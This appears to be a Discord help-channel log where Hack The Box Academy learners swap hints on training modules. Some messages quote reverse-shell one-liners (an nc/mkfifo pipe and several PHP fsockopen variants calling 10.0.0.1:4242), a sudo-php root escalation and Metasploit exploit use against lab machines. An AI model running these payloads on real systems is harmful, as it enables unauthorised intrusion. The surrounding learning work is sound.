#modules

1 messages · Page 490 of 1

split elk
#

it keeps giving me a mismatched certificate error. im probably doing it wrong ig :/

split elk
#

Okay i did the thing but it doesn't show me a build number its just blank but it comes up? did i miss a step?

#

but then, I decided to do it on my own computer and it worked when id id the same commands? so is it safe to say I understood that and can move to the next step or should i keep trying to see why its blank...

split elk
# tidal mango what section are you on?

Introduction to Windows, the very first one in the module 🤣 it keeps returning it as blank I am so confused, doing it on my pc it shows my build but not the website it shows blank and not what my workstation should be? have I completley misunderstood 👀

tidal mango
split elk
#

I dont know 🥺 it doesnt give me an error just a blank build number !!!!

#

this is what it shows

#

oh i cannot post a ss lol

#

but yea ill type it

#

Version BuildNumber


#

thats it no numbers nad

tidal mango
split elk
#

i hve no idea how to do that. I have to go learn how.

tidal mango
#

replace <targetIp> with your target IP and Password with your password

tidal mango
tidal mango
split elk
#

My password not the one on the site?

#

Okay, let me try that. brb

tidal mango
tidal mango
tidal mango
split elk
#

thats what I did.

#

with the other commands :/

#

was that wrong?

tidal mango
split elk
#

Ohhhhhh! I think from what you said I think I see my mistake. I put all the commands together so what I did was this || └──╼ [PS]> xfreerdp /v:10.129.63.228 /u:htb-student /p:Academy_WinFun! Get-WmiObject -Class win32_OperatingSystem | select Version,BuildNumber || in one line.

#

must I break them up do one first then the other?

#

cause what I did returned the options to give a build number and version but they were blank.

tidal mango
#

xfreerdp /v:10.129.63.228 /u:htb-student /p:Academy_WinFun!

tidal mango
tidal mango
#

the xfreerdp command is RDP (remote desktop) connecting you to a windows machine, once connected run the powershell command from the windows machine

split elk
#

okay let me try that.

delicate kernel
#

guys

#

why is my instance not letting me access ssh? permission denied with password

vale idol
#

Hi, i am stucked at Windows services & processes i cant find standard update service running on the host. I try ||Get-WmiObject win32_service | select * | ogv|| , where i filter description, name, status and next i try command ||Get-Service | ? {$_.Name -like "Update"} | fl|| still no service. I too try every running function put to result and still i haven't answer. Can someone give me hint pls?

tidal mango
split elk
#

Oh my gosh I am such a dummy holy hell

split elk
#

finally 🙏

tidal mango
split elk
#

Oh my gosh the second one was easier.

gleaming isle
#

Hey everyone. I think I am also stuck in the same place. I just started htb and am on the windows fundamentals module. How do I connect to a windows machine?

restive siren
gleaming isle
#

Yeah, I saw that. I used that in a bash terminal in the workstation and it just gave an error

split elk
#

Oh yea you have to say trust it.

#

I kept getting an error too.

gleaming isle
#

trust it?

split elk
#

But oof you're smarter than I was lmao 🙏 🤣

gleaming isle
#

like run as root?

split elk
#

yea when it says the error, (y/t/n) just put t and it connects.

#

oh ive forgotten what I did 🤔

#

brb

gleaming isle
#

my error is bash: 10.129.211.15: No such file or directory

split elk
#

Hmm. what are you typing?

gleaming isle
#

xfreerdp /v:<10.129.211.15> /u:htb-student /p:Academy_WinFun!

#

That the IP and password that got generated for me

split elk
#

Maybe remove the < > from the IP?

#

I didn't put those.

gleaming isle
#

OOooooooo!

#

That worked!

split elk
#

Yay! 💞

gleaming isle
#

That's a little bugger that the prompt had those in there and its not obvious to remove them.

#

Thank you so much!

split elk
#

Haha! ^^ and np 👍 glad I was able to.

delicate kernel
#

Which option needs to be set to create a home directory for a new user using "useradd" command?

#

does anyone understand this one?

#

I have tried everything, but won't work

#

User Management on Linux Fundamentals

#

I have tried, useradd -d -m su, useradd -m su, --create-home

#

etc

#

anyone can help me?

gleaming isle
#

Hey, I'm sorry I cant help. I just got started and don't know where you are at or how to help. Someone will be along soon who can help

flint helm
#

I'm stuck in Public exploits, I'm trying:

#

||auxiliary(scanner/http/wp_simple_backup_file_read)||

#

I don't know how I'm supposed to find the path to flags though

tired perch
atomic light
#

GETTING STARTED
Page 9
Public Exploits

#

im stuck there too

#

search exploit <type exploit here> does not work

#

search <type exploit here>

#

that works in msfconsole

#

however, i cant find wordpress in searchsploit

#

but i see wordpress in my nmap scan

#

i also tried seraching for wordpress and the version number in rapid7 but it returns 0 results

#

i followed everything from the section

#

i also tried an ssh exploit that i managed to search for successfully in msf only because i did an nmap scan using the vulners script which was not mentioned in the section. however, when i follow the directions in the section, the exploit runs successfully but does not give me a shell.

#

i even tried connecting to the ip and vulnerablle port using netcat but i still dont get a shell

wild spire
# atomic light GETTING STARTED Page 9 Public Exploits

Hey, so the hint should say use searchsploit to look for "plugin" exploits. I successfully found an exploit within MSF to read the flag.txt file from the service running on the target. PM me if you have any questions.

warm light
#

can anybody help me? module about sql injection

icy snow
#

Anyone available to assist me with privilege escalation send me a pm... I’m all sorts of stuck

atomic light
#

im still stuck on this

#

GETTING STARTED
Page 9
Public Exploits

#

people tried to help in a pm but they dont make any sense

#

im trying to get the wordpress version from a service scan on the target port but if i browse to the target port and ip it says wordpress is a different version

#

there has to be a way to get the proper version from nmap

#

and i guess its not possible to get the plugin exploit from searchploit like the section suggests because no one has successfully done it that way

#

2 people have now told me to use rapid7. even wpscan shows a different version than what is shown in the browser

radiant arch
#

Hey, I'm currently working on the linux fundamentals course, the Service and Process Management section asks me to use systemctl to submit the unit with the "Load AppArmor profile" description. I ran " $systemctl list-units --type=service " no luck finding a unit with the description. I'm not sure what to do at this point, there's so much info in man systemctl I'm not sure where to start.

tired perch
#

Just add the grep command behind the command you used

modern osprey
#

Hi

vale idol
frigid viper
#

I have a problem with the "Getting Started" Page 9 "Public Exploits" flag.
You are supposed to exploit a plugin. Since the website is filled with all the "simple backup" plugin stuff I was thinking about this one and searched for an exploit. This returned the exploits: “wp_db_backup_rce” and “wp_simple_backup_file_read”
Unfortunaly I can’t get either to work since for the rce one I need a username and password which I’m unable to find and the “wp_simple_backup_file_read” won’t do anything but give back:
[] Scanned 1 of 1 hosts (100% complete)
[] Auxiliary module execution completed

Since I have to extract the flag.txt I feel like the “wp_simple_backup_file_read” is the right one but I can’t get it do work.
Could you give me any hints?

atomic light
#

im stuck on that module and section too. ive been told how to solve it but it does not relate to what is taught in the section. i would like to know how to properly do the nmap scan and properly find the exploit in searchsploit as suggested in the section.

#

because the nmap scan i have done is returning with the wrong wordpress version

acoustic locust
atomic light
#

it doesnt help me learn how to properly find an exploit and use it in metasploit

frigid viper
#

I mean the page tells you about the simple backup plugin stuff so is was thinking about exploiting this. Is this even the correct way?

acoustic locust
atomic light
#

but browsing a webpage doesnt normally tell you what version a plugin is using

acoustic locust
#

And then I'm stuck on this knowledge check section for three days that I do not properly recall how I found the flag..

acoustic locust
atomic light
#

i know but i mean thats not a real world scenario. i though the academy is supposed to teach us the proper way

#

which would be with an nmap version scan first

#

or wpscan

frigid viper
atomic light
#

or it at least limits it to 2 exploits or something

#

then you read about what each exploit does

acoustic locust
#

I tried doing it again... As I had forgotten how I did it earlier

frigid viper
#

Yes I used the wp_simple_backup_file_read with the ip set but it just returns
[] Scanned 1 of 1 hosts (100% complete)
[] Auxiliary module execution completed

acoustic locust
#

Yes.. check all the options

frigid viper
#

which option do i have to tweak in order to get it working?

acoustic locust
#

There are 2 more which you have to set...

#

Check the question again for hints...

frigid viper
#

Ok, wait a sec I'll try it again

atomic light
#

how ddo you know what directory the flag is on if we cant open a shell?

frigid viper
#

i was thinking about it just being /flag.txt but im not sure on this one. I cant figure out which second option i should set, mabye vhost or depth?

atomic light
#

i set FILEPATH and RHOSTS

#

filepath i set to /flag.txt

#

it didnt work when i run metaploit

frigid viper
#

It could also be the /simple-backup/flag.txt since the text on the plugin states, that the backups will be saved in the simple-backup directory

atomic light
#

where did you find that path?

frigid viper
#

went to the webpage there it stated, that it will save it in the simple-backup in root (screwed up on the wp-admin thing sry) so it should be /simple-backup/flag.txt ?

atomic light
#

didnt work with that path either. maybe it needs to be the full path

#

i also tried LHOST tun0 didnt work

#

and i tried LHOST my host ip

#

didnt work either

#

i get the same thing as you

acoustic locust
atomic light
#

oh but the section says to change options that arent set

#

what a red herring. ill try that

frigid viper
#

omg i got it. Thank you so much man

acoustic locust
#

👍👍.

atomic light
#

got it too

acoustic locust
#

Were you able to find root.txt?

acoustic locust
#

Module: Getting Started
Section: knowledge check
Managed to run a getsimple metasploit to gain access to the first flag. However, the Meterpreter pseudo-shell supports limited commands like cd, ls and cat. How should I get a LinEum.sh/LinPEAS.sh script on the target and escalate privileges?
I tried the shell_to_meterpreter exploit too... But I can't use any other command, other than ls, cd or cat.

oblique acorn
#

Can someone nudge me on the skills assessment for SQLmap Essentials? I don't find the vulnerable link, nobody is answering in the easy-modules channel

radiant arch
deep tusk
#

Hi guys i need help at Local File Inclusion... I have found some Credentials to log in to mysql but i can't connect to the host no matter what i try. Can somebody help me pls?

radiant arch
#

Hi friends, I'm still in the Linux fundamentals, in section Working with Web Services. The first part asks me to install apache2. However the instance on the website won't let me run the apt install command as root. I get a message saying "htb-student is not in the sudoers file. this incident will be reported."

#

Is there a way to get around this? Because I can't do the next exercises without apache2 installed

strange aspen
#

you dont need an apache 2

#

read the text

hearty saffron
#

MODULE: SQL Injection Fundamentals
SECTION: Union Injection
QUESTION: Use a Union injection to get the result of 'user()'
I don't understand what the question is asking

autumn pilot
#

Get the result of user() with union injection

hearty saffron
autumn pilot
#

some content in the db i blindly guess

#

haven't done that module nor read it

hearty saffron
#

ok

hearty saffron
#

i stuck

mint lava
# hearty saffron i stuck

@hearty saffron try to follow as the module explain try to execute user()instead what was used in the example

icy snow
#

Can anyone give me a nudge on privilege escalation module in ‘getting started’? I’m stuck trying to ssh to root

hearty saffron
atomic light
#

im not on the knoledge section yet though. i just woke up.

mint lava
hearty saffron
#

section is called Union Injection

#

module is SQL INJECTION FUNDAMENTALS

#

@mint lava

mint lava
mint lava
green mango
#

Hi i am hard stuck on web requests. To be more precise on the Post Method on the Question where i have to use POST and GET requests with Burp to get to the admin user. I have a Target and the credentials (guest:guest). I know that a side uses a Cookie to identify me as guest and i can use base64 to decode it. And when i edit it and send that as my setted cookie the site shows me that the cookie was eddited because the decoded cookie is shown on the response html code. But nothing of that response helps me to get the points for the question so i must do something wrong and i dont know what.

hearty saffron
green mango
#

i changed the guest part in it to admin

#

but no flag there

hearty saffron
#

the number after guest_ is to identify the different guests

green mango
green mango
#

well i just put to much thought in it

#

thank you

icy snow
oblique acorn
#

Can someone nudge me on the skills assessment for SQLmap Essentials? I don't find the vulnerable link, nobody is answering in the easy-modules channel

hushed rivet
#

What non-standard application is running under the current user ? (The answer is case sensitive).

#

stuck at this question of windows fundamentals, tryed so many apps

restive siren
hushed rivet
#

yea multiple didnt

#

but ill try again

#

thx

restive siren
#

When you open the task manager, there should be details that might be helpful

hushed rivet
#

can i dm you

#

coz i see alot of applications that shouldnt be there on default

restive siren
#

sure

frigid summitBOT
mint lava
#

Does someone else has problem with Getting started module-Knowledge Check it seems that the target is down

#

I tried to re-spawn the target several times

restive siren
#

Have you try to refresh the page, and then re-spawn the target machine?

mint lava
mint lava
#

as you can see, I re spawn 3 targets

#

Does anyone else has that problem?

#

Is there any staff member available that can check that issue?

lilac dagger
#

I don't know if I'm just missing something wildly obvious, but could I get some help/clarification on what the GET Method question of the Web Requests module wants me to do? I'm not sure how to go about getting what it's asking for

drifting knoll
mint lava
mint lava
lilac dagger
#

I need to send a GET Request to flag.php with two parameters num1 and num2 such that their sum is 1337

mint lava
lilac dagger
#

Not really if I'm being 100% honest

mint lava
#

DM me

tidal mango
atomic light
mint lava
drifting knoll
#

we're working on it, can take a bit

mint lava
#

its ok I just wanted to know if there is a problem

#

thank you

nimble kayak
#

The Nibbles machine won't work for me either with several respawns on the target! I was about to ask about this and saw that it is being worked on 🙂

patent blaze
#

File Inclusion / Directpry Traversal
--- skills assessment ---
I have letarally tried evrything that the module says, but with no success.

||I was even able to read the source code for that “invalid input detected” text.||

But I’m not getting any further. Could anybody here give me a hint about it ?

--- PLEASE ---

tidal mango
patent blaze
#

The module is "File Inclusion / Directory Traversal"

tidal mango
patent blaze
#

that's ok

#

you need help with something ?

tidal mango
# patent blaze that's ok

I'm stuck on Public Exploits on the Getting Started Module.... I think I'm going to work on the intro to web apps for a bit to clear my head.

acoustic locust
atomic light
night osprey
#

for the life of me I can't remember how to rdp

night osprey
burnt stone
#

how you tried xfreerdp / rdesktop / remmina? I haven't done this module - I am just providing some assistance.

rustic sage
#

remmmina

night osprey
stark relic
#

Any tips/nudges for the priv esc section of the getting started module?

modern osprey
#

hello

steel flicker
#

hi!

slow salmon
steel flicker
half plover
#

Hello

slow salmon
stark relic
#

@slow salmon I’ve looked for misconfigured files with Suid, cron jobs and public exploit for vulnerable kernel versions

mint lava
obtuse igloo
#

Hello all!! Bit of a noob here and been stuck on this for the past couple of days: Linux Fundamentals; Working with Web Services; Find a way to start a simple HTTP server using "npm". Submit the command that starts the web server on port 8080 (use the short argument to specify the port number). Have tried numerous commands... any pointers? Thanks.

true valley
#

👆 I have the same question as AnneBonny. I've tried all sorts of commands and nothing I have tried is being accepted for the answer.

obtuse igloo
#

I have been to both the websites below (and many more besides) and have tried variations on these commands. Am I missing something fundamental? Thanks.

latent crest
#

Hey all
in the SQL Injection Fundamentals module i have a problem connecting to the remote mysql databse i keep getting this error am i doing something wrong ?
sudo mysql -uroot -h206.189.121.131 -P32193 -p
ERROR 2003 (HY000): Can't connect to MySQL server on '206.189.121.131' (111)

slow salmon
#

@latent crest If I'm not wrong you have to put a space after "u", "h" and "P" parameters

latent crest
#

tried it that way as well sadly nothing

atomic light
#

GETTING STARTED
Page 11
Privilege Escalation

#

im trying to download linpease from my simplehttpserver to the target but it wont connect

#

ive done wget <my_ip>:8000/linpeas.sh on the target

jagged anvil
atomic light
#

wget shows its trying to connect but it keeps failing and retries over and over

jagged anvil
#

Have you set uo your listener in the right directory?

atomic light
#

i started the listener in ~/

#

the same directory as linpeas

#

i even tried restarting the instance and target

white talon
#

hello please can anyone help me with system information quetions in Linux fundamental module

#

i tryed a lot of answers that did'nt work

left flicker
#

hey! Can anyone help me with this... i am googling from last 30 mins 🥴 sadglas
Find a way to start a simple HTTP server using "npm". Submit the command that starts the web server on port 8080 (use the short argument to specify the port number).

rustic sage
atomic light
#

GETTING STARTED
Page 11
Privilege Escalation

#

my reverse tcp also isnt connecting back to me. it times out

mint lava
full halo
#

HTB Getting Started module, Knowledge check. I'm stuck with p23 root-flag. I've run my LinEnum.sh and uploaded a webshell so that I can e.g. browse files as www-data, but just can't figure out how to break out as root.

obtuse igloo
patent blaze
mint lava
patent blaze
#

you know that error message “invalid input detected” ?

#

i did saw the source code of if

#

of it**

lime glade
#

Hi everybody!! I been stuck in last part of module "Getting Started". Please, anybody can help me? Thanks in advance! 🙂

rustic sage
#

Can anyone tell me why my netcat command doesnt work? ... it looks like the example, but no luck ...

rustic sage
scarlet imp
rich sequoia
#

press return a few times see if it comes back with something

#

or use the -nv options

scarlet imp
#

yeah, use the -v option to see if the connection is actually happening

rustic sage
rustic sage
mint lava
tidal mango
atomic light
#

I can't get anything to connect to the target, only ssh

#

Wget doesn't work

tidal mango
#

i didn't I ran linpeas over SSH tunnel.

atomic light
#

It works like that?

#

I'm going to try uploading linpeas through scp

tidal mango
atomic light
#

If it's like linenum it doesn't need root

tidal mango
atomic light
#

Or maybe I'm thinking of another program

#

K

spring lion
#

Hey I am stuck on the last box in the Getting Started module. I was able to get a meterpreter shell on the box but I can't use any commands on the machine to be able to set up a reverse shell. I can use commands like ls,cat,cp,mv but I cant use any of the binaries in /bin and I cant figure out how create a executable so I can set up a reverse shell.

atomic light
#

i was then able to run linpeas and get a password but it is not working for user2 sudo password

#

im not sure what to do with this password

patent blaze
#

Any help with skills assessment File Inclusion / Directory Traversal

tidal mango
atomic light
sick gull
#

@rustic sage i am having the same issue

atomic light
#

i found the flag but cant read it

sick gull
#

I do nc/netcat on the target and it just freezes

atomic light
#

yeah nc doesnt connect and times out

#

also wget doesnt connect and times out

#

but i can upload files through ssh

#

so maybe i need to do nc or socat on the ssh port?

polar merlin
tidal mango
tidal mango
atomic light
tidal mango
atomic light
atomic light
#

i also cant get a full tty shell because i cant get netcat to connect

#

i need a full tty shell for the gtfo bin to work

tidal mango
atomic light
#

im on ssh but its only ssh for user1

elder escarp
#

i'm doing the linux fundamentals module; i can ping the machine that's started but cannot ssh into it... halp?

atomic light
#

yes for user1 only

tidal mango
elder escarp
#

but it just hangs and eventually times out

tidal mango
atomic light
#

oh you meant for martian lol

tidal mango
atomic light
#

oh

#

it was removed by the bot i think

#

pm me

tidal mango
elder escarp
tidal mango
elder escarp
#

🤦 non-standard port

tidal mango
elder escarp
flint helm
#

why is it that when I use "ssh root@ip -i id_rsa" I get connection timed out?

elder escarp
#

... or is it? looking through the module, no other port seems to be used 🙁

patent blaze
#

can someone hint me ?

elder escarp
sick gull
#

Anyone done the offensive getting started? I have a question

#

nvm im an idiot i figured it out

quiet forum
#

Hi there everyone!

#

I just started using HTB Academy, I'd like to make some friends here.

#

Feel free to say hi😁

inner sapphire
#

Hi

quiet forum
inner sapphire
#

File inclusion

quiet forum
#

I'm doing the Linux fundamentals module now

inner sapphire
#

sure you can dm me for the advise

quiet forum
#

Damn bro😂

#

You're my senpai then

inner sapphire
#

I got a lot of helps from here

#

lol

quiet forum
inner sapphire
#

Arigatou😆

scarlet imp
quiet forum
#

Thanks for having me

#

😁

scarlet imp
#

We're all in the same boat. Feel free to ask for help 😉

inner sapphire
#

👍

quiet forum
#

sure thing bro

#

the funny thing is, I started looking into cyber security after watching Mr. Robot

#

Originally i have programming background

#

But this is hella fun bro

scarlet imp
#

Btw guys, I've been stuck on the wrap up exercise of Getting started. Is there anyone I could ask some questions about php? About parsing and reverse shells

quiet forum
#

Php? What is it about?

scarlet imp
#

Like it seems like loading a bash command with redirection in it breaks the script, since the > sign seems to close the php command. At least this is my interpretation. I'm looking for a way to overcome that

#

I'm trying to load the classic 'system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc [ip addr] [port] > /tmp/f")'

quiet forum
#

I'd love to help you if i know how too... sorry bro. Bet others in this group can help you.

scarlet imp
#

No worries bro. Appreciated 💪 💪 💪 💪

scarlet imp
#

I managed to solve it!!!!

#

😭 😭 😭 😭 😭 😭 😭

#

Tears of joy!!!!

#

Hahaha I actually only overcame that issue. Gotta continue the challenge though hahaha

quiet forum
#

hahaha

#

happy for you brother

#

senpai kakkoii!

#

🤩 🤩 🤩 🤩 🤩

stone rose
#

ayesha

white talon
quaint marsh
#

Всем Привет!

#

у меня есть сложность с пониманием запуска payload: www-data@gettingstarted:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on gettingstarted:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php

drifting knoll
quaint marsh
#

i want run this code: php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);/bin/sh -i <&3 >&3 2>&3;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

drifting knoll
#

why don't you try something simpler first?

quaint marsh
#

What does this entry mean? User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php
www-data@gettingstarted:/var/www/html$

drifting knoll
quaint marsh
drifting knoll
quaint marsh
drifting knoll
quaint marsh
#

as User launches nc reverse shell.

#

with root

drifting knoll
rustic sage
#

can someone help me get htb-student's mail? Module : Linux Fundamentals

drifting knoll
rustic sage
#

sorry for noob question

rustic sage
drifting knoll
#

read the section carefully and you will see how to do so

rustic sage
drifting knoll
rustic sage
drifting knoll
#

already did

quaint marsh
drifting knoll
drifting knoll
cosmic obsidian
#

Hello im new to htb and im trying out a module in the academy but im stuck at this question:
"Perform an Nmap scan of the target. What service is running on port 8080? (two words)"

The command + the output is:

nmap -Pn -p8080 10.129.227.149
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-25 11:18 UTC
Nmap scan report for 10.129.227.149
Host is up (0.010s latency).

PORT     STATE SERVICE
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds```

And should the anwser be "http-proxy" then?
rustic sage
#

it won't accept

/var/mail

quaint marsh
rustic sage
drifting knoll
drifting knoll
cosmic obsidian
rustic sage
drifting knoll
quaint marsh
quaint marsh
drifting knoll
rustic sage
drifting knoll
#

@rustic sage stop pinging

rustic sage
#

k sorry

#

help pls

#

I'm stuck

quaint marsh
rustic sage
#

gotcha

#

done yo

#

thanks

drifting knoll
cosmic obsidian
rustic sage
cosmic obsidian
drifting knoll
drifting knoll
quaint marsh
drifting knoll
quaint marsh
#

or not?

drifting knoll
quaint marsh
cosmic obsidian
mint lava
mint lava
brave kindle
#

In the linux fundamentals module, do you have to spawn the target to be able to do the questions ?

brave kindle
#

Where do I have to put that ?

drifting knoll
brave kindle
#

Thanks

quaint marsh
#

CMD="/bin/sh"
sudo php -r "system('$CMD');"

quiet forum
#

By the way I'm new here too. Just started using discord today

#

Hope to make friends with all you guys😁

drifting knoll
quiet forum
#

Guys, what other ways can you use to arrive with an answer for this question "Which shell is specified for the htb-student user?". I used "echo $SHELL". Thanks in advancesteve3

quiet forum
quaint marsh
#

PORT STATE SERVICE VERSION
32369/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.6.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Getting Started – Just another WordPress site

We have a Plugin Simple Backup 2.7.10 for WordPress. He has a vulnerability: The Simple-Backup Wordpress Plugin Was Affected by An Arbitrary File Download Security Vulnerability.

Question: Where to read about the introduction of code in HTTP to receive a file (flag.txt)?

#

There is no accurate description about vulnerability. where to look? says about ../../

#

CWE 22

modest token
#

Hey all could soemone plz help me out?
I'm on Getting Started - Privilege Escalation
I loaded linPEAS on the target using ssh got a whole bunch of info
but im too much of an ape to understand what to do next ...
im in the target as user1 and i need to escalate to user2.
I'm too dumb to figure understand what I need to do next...
plz halp!

modest token
modest token
quaint marsh
#

Could not pass?

sick gull
#

Hey all I'm on Getting Started - Public Exploits and am stuck on something, could I msg someone with a question?

quaint marsh
#

vector sudo 1.8.31 -> patched not vuln.

modest token
odd tree
#

yo!

#

I've got a simple question that is stumping me would anyone possibly be willing to help?

#

I'm stuck on Which option needs to be set to execute a command as a different user using the "su" command? (long version of the option)

odd tree
#

I looked up sudo and tried some of those commands but nothing seems to be working

#

I try su and this doesn't pull anything up 🤔

quaint marsh
#

Has anyone walking this path?
sshd: process found (dump creds from memory as root)

odd tree
#

off to the market for now! I'll jump back in later to see if I can get this figured out!

#

So excited that I got to hack my first box last night! Small potatoes for most but it was super exciting for me!

elfin bridge
#

damn guys, i am ending the "get started" module but the site you could follow with the IP is slow as hell and i can't continue with the admin page. Did you have the same problem with the last knowledge check point ?

quaint marsh
#

yes

#

But through the terminal everything is fast

elfin bridge
#

how can i enter the /admin/ page with the terminal using the username and password i found ?

patent hawk
rustic sage
#

is it posssibe to switch targets? cuz i have no idea if im connected to the target i need to

#

says my target is htb student and when i type whoami it says another user

urban sage
#

Read through the directions then and double check you have done what you need in order to get to where you need to be.

rustic sage
#

Ill try my best then TY

odd tree
#

you need to pull up a list of su command options

rich sequoia
#

Anyone help me with the web requests - the hint says manipulate the cookie.. I've tried re-encoding with the admin_xxxxx rather than guest_xxx but this only seems to change the banner. I'm not getting a PHPSession ID either...

rustic sage
#

and i forgot

worldly iron
#

Hello. I'm completely new to cyber security, and I'm attempting to take the fundamentals course. I'm trying to access the target SMB share folder to access a file. I'm completely at lost here. Any tips to get me going to the right direction?

modest token
# tidal mango you can get that first flag with just ssh

hey crazyhorse, im stuck in Getting Started Privilege Escalation ... i cant figure out how to get user2. could u give me a hint plzzz? i sshed in and ran linPEAS over an ssh tunnel but im too dumb to figure out what to do next...

tidal mango
worldly iron
#

Is anybody able to help? I'm completely stuck

modest token
modest token
odd tree
worldly iron
#

@odd tree ahh shame :/

#

It's weird how it's a fundamentals module and I get stuck right in the beginning, makes you feel so dumb xd

odd tree
patent hawk
#

But we will get there Pog

worldly iron
#

I literally took the fundamental module, what more basic is there?

#

is there something i should do prior to this?

#

I'm on the "Getting started" fundamental module. Is there somewhere else i should start?

patent hawk
#

I'm at the end of the module atm. and until the "Knowledge Check" you really just have to repeat the things shown and add a little spice kappa

worldly iron
#

With the SMB txt file i tried all the commands

elfin bridge
worldly iron
#

but nothing semes to work

patent hawk
#

What lection is it?

worldly iron
#

Access the SMB share folder called 'flag' and submit the contents of the flag.txt file.

#

Service scanning

#

i think

elfin bridge
patent hawk
worldly iron
#

@odd tree my problem was that i typed / instead of \ 💩

#

#hacker

mint lava
rustic sage
odd tree
elfin bridge
mint lava
#

@elfin bridge did you find other directories? try to find any information about the version our target and search for exploit that you can use

elfin bridge
#

ok perfect 👌 i'll try that

simple snow
frigid viper
#

Hey, I'm stuck in the Getting Started Module on Privilege Escalation. I was able to get to user2 but could not get to root no matter what i tried. I would be thankful for a hint on where to look.

rustic sage
#

hello, in the web requests modul post method section i succesfully manipulate the cookie. I got the admin panel, but the flag is incorrect. Anyone can help me?

quaint marsh
#

Public exploits task. do i need to scan with wpscaner?

#

ssh user1@IP -p (port)

frigid viper
vocal jewel
#

hi all, i just finished the linux fundamentals. i had a little trouble with the curl https://www.inlanefreight.com question. i did get it but i was wondering if someone could DM me so i could ask about a better way to solve it without giving spoilers in the room. I got to the point where i used grep but still got four extra URLs. Using sort, I could easily identify the four i did not need. I'm looking for a cleaner way to get the result. I think I need to be more specific in grep but I have man paged and google-fu'd my best.

amber shuttle
#

i feel really dumb right now, but how do i get the banner of the server in Getting Started: Basic tools? when I do ssh user@ip.address it says that it can't resolve hostname?

vocal jewel
#

@amber shuttle do you have to start the instance for the user you want to ssh at the bottom of the page before the questions?

quaint marsh
vocal jewel
#

@amber shuttle so, i just started this one to see what you meant. they don't give you a user. all you have is the ip:port does that help tell you what to do?

quaint marsh
vocal jewel
#

@amber shuttle i have to get going but if you run into more trouble, when I did this just now it wouldn't load, so i ran the command from my native machine's terminal and it worked.

rustic sage
#

hello I am new to htb and I think I'm in the right area to ask for help. im currently stuck at system information on Linux fundamentals. I think im connecting to correctly and attempting to enter the password but its keeps saying permission denied, any idea on what im doing wrong?

rustic sage
#

nvm I had it backwards woops

mystic snow
#

Hi, Im having some trouble with the package management part of the linux fundamentals module. I made a folder and cloned evil-winrm into it but in the files that got downloaded I'm not really seeing anything that looks like a package I could point apt at to install

#

wait I think I was using the wrong github link there... give me a minute...

scenic apex
#

Hi guys im currently working on FILE INCLUSION / DIRECTORY TRAVERSAL, and im stuck on first question about this

" Submit the contents of the flag.txt file located in the /usr/share/flags directory."

i tried every method but nothing works im getting this error message on the target website

"Warning: include(expect://id/usr/share/flags): failed to open stream: No such file or directory in /var/www/html/basic/index.php on line 47"

"
Warning: include(): Failed opening 'expect://id/usr/share/flags' for inclusion (include_path='.:/usr/share/php') in /var/www/html/basic/index.php on line 47"

mystic snow
flint helm
#

Why is it that for the website of Knowledge Check I can login as admin, but when I use the same credentials for metasploit it fails?

graceful prism
#

https://academy.hackthebox.eu/module/18 <-- This is the Linux Fundamentals Module, I'm on the "Find Files and Directories" one. There is this question, "What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?", I know for a fact that I'm typing the right command and I even used the '2>/dev/null' option with it, yet still the files I find don't seem to be the answer. Any help here please?

neon shard
#

@graceful prism can you share the command you're using?

mint lava
drifting knoll
#

@scenic apex pls be careful with spoilers

#

and dont share any answers

scenic apex
#

thanks @mint lava but im stuck on that question can you give example

#

oh im sorry i will re type it

mint lava
scenic apex
#

thanks

mint lava
scenic apex
#

sure thanks!

graceful prism
rustic sage
#

Hey there, I'm a little stuck on the Linux Fundamentals: Filter Contents final question

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

I'm using this curl command combined with some sorting options ||curl https://www.inlanefreight.com/ | grep "https://www.inlanefreight.com/" | sort --unique | wc -l|| and getting a result of ||48||. But that isn't the right answer, any pointers?

Solved! Thanks @neon shard.

neon shard
#

@rustic sage @graceful prism After speaking to you both, I think for both of you the takeaway is: Check your output! You never know if your initial command outputs a little extra or less than you expect. Counted lines don't match the answer? Check the lines that you counted and see if there's something in there that you didn't expect!

rustic sage
#

Haha yup, thanks man!

gilded kindle
#

Hi guys, I'm stuck on prolly something very simple.. I just started the fundamental training for linux and the first thing it asks me to do is SSH to an ip with a login ..

#

however when i type ssh 'ip' in BASH its not connecting

#

what am I doing wrong?

#

it takes a while to respond but after a while it tells me connection timeout

dreamy lake
#

hey there I have the same issue

#

i am at the workflow navigation part and after I spawned the target while trying to ssh , i get no option to input passowrd

#

ssh: connect to host 10.129.72.xx port 22: Connection timed out

worldly iron
#

If i want to create my own VM and do these tasks from there, do i need to buy a VPN service?

strange aspen
#

ssh username@ipadress

dreamy lake
#

i know that. I did do that. ssh htb-student@ip

#

but it doesn't do anything and after a while I get timeout.

thorny crow
worldly iron
#

I'm 100% new to cyber so consider me cognitively limited in this subject area

#

i have no idea what i'm talking about

thorny crow
worldly iron
#

I'm doing it yeah but the subjects go a bit over my head still. IT is a foreign field to me and I'm not a native speaker either so doesn't help

#

I don't understand much about networks or computers beyond the basics

thorny crow
worldly iron
#

It says "HTB and other services offering purposefully vulnerable VMs/networks require players to connect to the target network via a VPN to access the private lab network." So i thought i need a VPN

thorny crow
#

You will need a VPN if you don't want to use the browser based PwnBox on the modules.

worldly iron
